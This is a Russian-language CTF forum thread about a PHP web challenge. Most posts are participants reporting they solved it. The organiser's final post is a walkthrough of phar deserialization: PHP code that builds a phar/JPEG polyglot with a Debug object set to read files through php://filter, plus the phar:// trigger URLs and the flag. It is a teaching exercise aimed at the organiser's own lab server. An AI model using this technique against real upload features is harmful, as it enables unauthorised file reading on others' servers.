Task # Task #4

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by joelblack, 15 Feb 2019.

  1. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    [​IMG]

    Многие ждали этот таск раньше, но в связи с плотной нагрузкой не было времени из концепта сделать что то целостное. Наконец,на неделе появилось свободное окно и я реализовал задуманное. Отдельно хочу поблагодарить за ценные советы @dooble . Итак,перейдем непосредственно к таску. На этот раз нам предстоит поискать уязвимости на сайте SpaceX, который представляет из себя галерею. В основе таска лежит реальная уязвимость, которая не так очевидна на первый взгляд. Так что (первый хинт:)) внимательно изучайте все,что найдете.

    Задание:
    Сроки:
    Правила простые, они исторически сложились на площадках античата и рдота:
    После закрытия задания выкладываются прохождения.
    В первый пост будет добавлена таблица результатов.
    Важный момент, который хотелось бы отметить исходя из опыта Task2:
    ===

    Всем приятного прохождения!

    ===

    Hint: Десериализация срабатывает не явно,даже если в коде не присутствует unserialize()
    Hint: Присмотритесь к phar://


    Прошли:
    @Felis-Sapiens
    @crlf
    @l1ght
    @=HALK=
    @Ereee
    @gurux13
    @Franky_T
    @Isis
    @MichelleBoxing
    @b4zed
    @Gorbachev
    @D3N
    @nix_security
    @oleg_1va

    Прохождения
     
    #1 joelblack, 15 Feb 2019
    Last edited: 17 Mar 2019
    sinusu, l1ght, D3N and 13 others like this.
    1. Octavian

      Octavian Elder - Старейшина

      Joined:
      8 Jul 2015
      Messages:
      506
      Likes Received:
      101
      Reputations:
      25
      Репу заслуживают за Социальную Инженерию )
       
      1. Felis-Sapiens

        Felis-Sapiens Reservists Of Antichat

        Joined:
        21 Jul 2015
        Messages:
        616
        Likes Received:
        3,833
        Reputations:
        171
        Прошел.
        Спасибо за ваши труды!
         
        Ereee, crlf, BillyBons and 2 others like this.
        1. reds1993

          reds1993 Active Member

          Joined:
          25 Aug 2008
          Messages:
          52
          Likes Received:
          131
          Reputations:
          0
          Там что, пхп заливался? :)
           
          1. crlf

            crlf Green member

            Joined:
            18 Mar 2016
            Messages:
            684
            Likes Received:
            1,517
            Reputations:
            460
            Заливалось всё :D Но не работало :(
             
            Ereee, Pirnazar and reds1993 like this.
            1. =HALK=

              =HALK= Member

              Joined:
              30 Oct 2008
              Messages:
              27
              Likes Received:
              27
              Reputations:
              40
            2. Ereee

              Ereee Elder - Старейшина

              Joined:
              1 Dec 2011
              Messages:
              560
              Likes Received:
              370
              Reputations:
              267
              @crlf действительно хайповая тема оказывается :)
               
              Pirnazar, CyberTro1n and crlf like this.
              1. gurux13

                gurux13 Member

                Joined:
                4 Feb 2019
                Messages:
                8
                Likes Received:
                30
                Reputations:
                48
                Пройдено :)
                 
                1. Franky_T

                  Franky_T Level 8

                  Joined:
                  6 Nov 2018
                  Messages:
                  21
                  Likes Received:
                  66
                  Reputations:
                  58
                  Обалденный таск :)
                   
                  D3N, Ereee, satori and 3 others like this.
                  1. banned

                    banned Banned

                    Joined:
                    20 Nov 2006
                    Messages:
                    3,324
                    Likes Received:
                    1,193
                    Reputations:
                    252
                    Прошел, в принципе не сложно)
                     
                    Ereee, Pirnazar and crlf like this.
                    1. MichelleBoxing

                      MichelleBoxing Reservists Of Antichat

                      Joined:
                      12 Nov 2018
                      Messages:
                      19
                      Likes Received:
                      32
                      Reputations:
                      57
                      Интересное задание, спасибо @joelblack
                      не сразу врубился где флаг искать, спасибо @dooble за наводку.
                      ну и спасибо @crlf за предсказание
                       
                      D3N, Ereee, Pirnazar and 1 other person like this.
                      1. b4zed

                        b4zed New Member

                        Joined:
                        13 Mar 2016
                        Messages:
                        1
                        Likes Received:
                        4
                        Reputations:
                        4
                        Done.
                        Спасибо авторам!
                         
                        D3N, Ereee, Pirnazar and 1 other person like this.
                        1. Тот_самый_Щуп

                          Тот_самый_Щуп Reservists Of Antichat

                          Joined:
                          23 Mar 2017
                          Messages:
                          265
                          Likes Received:
                          174
                          Reputations:
                          119
                          Done.
                          Спасибо авторам!
                           
                          Pirnazar, MichelleBoxing and crlf like this.
                          1. joelblack

                            joelblack Reservists Of Antichat

                            Joined:
                            6 Jul 2015
                            Messages:
                            244
                            Likes Received:
                            450
                            Reputations:
                            145
                            Добавлен Хинт в первый пост
                             
                            D3N and eminlayer7788 like this.
                            1. D3N

                              D3N Member

                              Joined:
                              8 Dec 2018
                              Messages:
                              7
                              Likes Received:
                              19
                              Reputations:
                              19
                              Прошёл) Офигенный таск ! Поразмял мозги
                               
                              1. joelblack

                                joelblack Reservists Of Antichat

                                Joined:
                                6 Jul 2015
                                Messages:
                                244
                                Likes Received:
                                450
                                Reputations:
                                145
                                Добавлен еще один хинт в первый пост
                                 
                                1. nix_security

                                  nix_security Level 8

                                  Joined:
                                  15 Feb 2019
                                  Messages:
                                  11
                                  Likes Received:
                                  31
                                  Reputations:
                                  48
                                  Решено, спасибо. Интересный таск
                                   
                                  MichelleBoxing, D3N and crlf like this.
                                  1. oleg_1va

                                    oleg_1va Level 8

                                    Joined:
                                    8 Dec 2018
                                    Messages:
                                    4
                                    Likes Received:
                                    11
                                    Reputations:
                                    7
                                    Решил,познавательно).Спасибо за таск!
                                     
                                    erwerr2321, crlf, grimnir and 2 others like this.
                                    1. joelblack

                                      joelblack Reservists Of Antichat

                                      Joined:
                                      6 Jul 2015
                                      Messages:
                                      244
                                      Likes Received:
                                      450
                                      Reputations:
                                      145
                                      Таск закрыт.Решения больше не принимаются.Спасибо всем за участие.Итоги подведу на выходных.
                                       
                                      D3N, eminlayer7788 and l1ght like this.
                                      1. joelblack

                                        joelblack Reservists Of Antichat

                                        Joined:
                                        6 Jul 2015
                                        Messages:
                                        244
                                        Likes Received:
                                        450
                                        Reputations:
                                        145
                                        Мой таск базировался на исследовании от 14 августа 2018 года (https://blog.ripstech.com/2018/new-php-exploitation-technique/), поэтому для тех, кто в свое время изучил данную тему,думаю, было не сложно его решать. Полностью пересказывать данное исследование я не буду (для тех кому интересно можете ознакомиться с линком выше и посмотреть соответствующие слайды тут:
                                        https://github.com/s-n-t/presentati...n-Vulnerability-Jim-But-Not-As-We-Know-It.pdf ),лишь вкратце скажу,что был обнаружен новый метод эксплуатации PHP object injection без использования php функции unserialize() . Так же,из этого исследования можно узнать, что был найден некий трюк, который позволяет phar файл поместить в фейковый jpg.

                                        Основная базовая информация получена,теперь перейдем непосредственно к самому таску. Первое,что необходимо было сделать, это найти файл view.bak
                                        (http://task.antichat.xyz:10004/backup/view.bak), который располагался в папке backup. Детально изучив файл можно увидеть класс Debug который содержит метод __destruct(), который в свою очередь содержит file_get_contents(). Первое что приходит в голову, это PHP Object Injection но смущает отсутствие в коде unserialize(). На этом этапе необходимо вспомнить о phar://.

                                        Изучаем дальше нашу галерею и находим форму загрузки (http://task.antichat.xyz:10004/upload.php). Играемся с загрузкой файлов и понимаем, что ничего, кроме jpg загрузить нельзя (однако @Felis-Sapiens и @crlf обнаружили баг,который был оперативно поправлен, при котором было можно пролить php файл, но с ним все равно ничего бы не получилось сделать). Опираясь на исследование выше - понимаем, что нам необходимо как то встроить phar в jpg. Это можно сделать либо руками (этот метод я как раз опишу),а можно сделать с помощью уже готовых решений, например, https://github.com/kunte0/phar-jpg-polyglot/blob/master/phar_jpg_polyglot.php .
                                        PHP:
                                        <?
                                        class 
                                        Debug{}

                                        $jpeg_header_size =
                                        "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
                                        "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
                                        "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
                                        "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
                                        "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
                                        "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
                                        "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
                                        "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
                                        "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
                                        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
                                        "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

                                        $phar = new Phar("Debug.phar");
                                        $phar->startBuffering();
                                        $phar->addFromString("test.txt","test");
                                        $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
                                        $o = new Debug();
                                        $o->hook ='php://filter/convert.base64-encode/resource=/var/www/html/index.php';
                                        $phar->setMetadata($o);
                                        $phar->stopBuffering();
                                        На выходе получаем файл Debug.phar. Далее нам необходимо преобразовать его в some.jpg.Я для этого использовал Notepad++. Открываем данный файл в Notepad++ и сохраняем его как some.jpg. Пробуем загрузить его и видим, что данная фейковая картинка отвечает всем требованиям загрузки и как следствие загружается на сервер.После чего кликаем по загруженному изображению и переходим по ссылке,вида:
                                        Code:
                                        http://task.antichat.xyz:10004/view.php?f=upload/ipuue5t4e8bs173r91m3m42odu/111.jpg
                                        видим наше изображение.Дальше,что бы уязвимость сработала (в данном случае триггером служит file_exists()) нам необходимо добавить обертку phar://
                                        Code:
                                        http://task.antichat.xyz:10004/view.php?f=phar://upload/ipuue5t4e8bs173r91m3m42odu/111.jpg
                                        В итоге получаем читалку. Дальше читаем .htaccess
                                        Code:
                                        #<Files ~ "^flag\.txt">
                                        #  Deny from all
                                        #</Files>
                                        
                                        
                                        и получаем намек что есть некий flag.txt
                                        Code:
                                        1_Kn0W_4b0Ut_Ph4R_M0r3 
                                        которого при этом нет в текущей директории.Затратив немного времени, понимаем,что он лежит на уровне выше. Однако цель таска была именно поэксплуатировать данную уязвимость,поэтому у кого были проблемы с поиском флага - я хинтовал по поводу пути, так как человек уже понял как использовать уязвимость и поиск флага это лишь вопрос времени.

                                        Теперь перейдем к решениям:
                                        @Felis-Sapiens
                                        @crlf
                                        @=HALK=
                                        @Ereee
                                        @gurux13
                                        @Franky_T
                                        @Isis
                                        @MichelleBoxing
                                        @b4zed
                                        @Gorbachev
                                        @D3N
                                        @l1ght
                                        @nix_security
                                        @oleg_1va
                                        Если я случайно кого то забыл - отпишите в лс. Всем спасибо за участие!
                                         
                                        #20 joelblack, 2 Mar 2019
                                        Last edited: 2 Mar 2019
                                        D3N, Franky_T, eminlayer7788 and 9 others like this.